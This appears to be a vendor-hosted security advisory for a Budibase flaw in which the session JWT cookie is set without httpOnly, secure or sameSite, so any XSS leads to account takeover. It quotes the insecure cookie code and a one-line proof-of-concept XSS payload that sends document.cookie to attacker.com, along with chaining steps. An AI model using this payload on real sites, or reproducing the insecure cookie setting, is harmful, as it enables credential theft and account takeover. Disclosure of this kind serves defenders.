Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm

GHSA-4f9j-vr4p-642r

HIGH

GHSA-4f9j-vr4p-642r is a high-severity (CVSS 8.1) CWE-1004 vulnerability in @budibase/backend-core. O3 Security confirms whether GHSA-4f9j-vr4p-642r is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Budibase auth session cookies are set with httpOnly:false — any XSS can lead to full account takeover

Also known asCVE-2026-42239
Published
Apr 24, 2026
Updated
May 11, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected

Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.

@budibase/backend-corenpm
10Kdownloads / week

Description

Summary

The budibase:auth cookie containing the JWT session token is set with httpOnly: false at packages/backend-core/src/utils/utils.ts:218. JavaScript can read this cookie via document.cookie. Given that Budibase has had XSS vulnerabilities (GHSA-gp5x-2v54-v2q5 — stored XSS via unsanitized entity names, published April 2, 2026), this means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account.

The cookie also lacks secure: true (sent over plaintext HTTP) and sameSite attribute.

Details

packages/backend-core/src/utils/utils.ts, lines 215-226:

const config: SetOption = {
  expires: MAX_VALID_DATE,
  path: "/",
  httpOnly: false,     // ← JavaScript can read the session JWT
  overwrite: true,
}

if (env.COOKIE_DOMAIN) {
  config.domain = env.COOKIE_DOMAIN
}

ctx.cookies.set(name, value, config)

This function is called for setting the budibase:auth cookie which contains the signed JWT session token. With httpOnly: false, any JavaScript execution context (XSS, injected script, browser extension) can read the token via document.cookie.

Missing flags:

  • httpOnly: false → should be true (prevent JS access)
  • No secure flag → cookie sent over HTTP (should be secure: true for HTTPS deployments)
  • No sameSite → susceptible to cross-site request attachment (should be sameSite: 'lax')

PoC

Any XSS payload can steal the session:

// Attacker's XSS payload — steals session and sends to attacker server
new Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);

With httpOnly: true, this payload would get an empty string for the auth cookie. Without it, the full JWT is exfiltrated.

Combined with GHSA-gp5x-2v54-v2q5 (stored XSS in entity names), an attacker could:

  1. Create an entity with a name containing <script> payload
  2. Any user who views that entity has their JWT stolen
  3. Attacker uses the JWT for persistent account access

Impact

Every XSS vulnerability — past, present, and future — becomes a full account takeover. The httpOnly flag is the primary defense that limits XSS impact to the current session/page. Without it, XSS escalates from "session riding" to "persistent credential theft."

This affects all Budibase deployments since the cookie configuration is hardcoded.

ATTACHMENTS

BUDIBASE-TOP10-REPORT.md


Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@budibase/backend-coreall versions3.35.10

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @budibase/backend-core. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update @budibase/backend-core to 3.35.10 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4f9j-vr4p-642r is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-4f9j-vr4p-642r is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-4f9j-vr4p-642r. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The `budibase:auth` cookie containing the JWT session token is set with `httpOnly: false` at `packages/backend-core/src/utils/utils.ts:218`. JavaScript can read this cookie via `document.cookie`. Given that Budibase has had XSS vulnerabilities (GHSA-gp5x-2v54-v2q5 — stored XSS via unsanitized entity names, published April 2, 2026), this means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account. The cookie also lacks `secure: true` (sent over plaintext HTTP) and `sameSite` attribute. ### Details `packages/back
O3 Security · Impact-Aware SCA

Is GHSA-4f9j-vr4p-642r in your dependencies?

O3 detects GHSA-4f9j-vr4p-642r across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.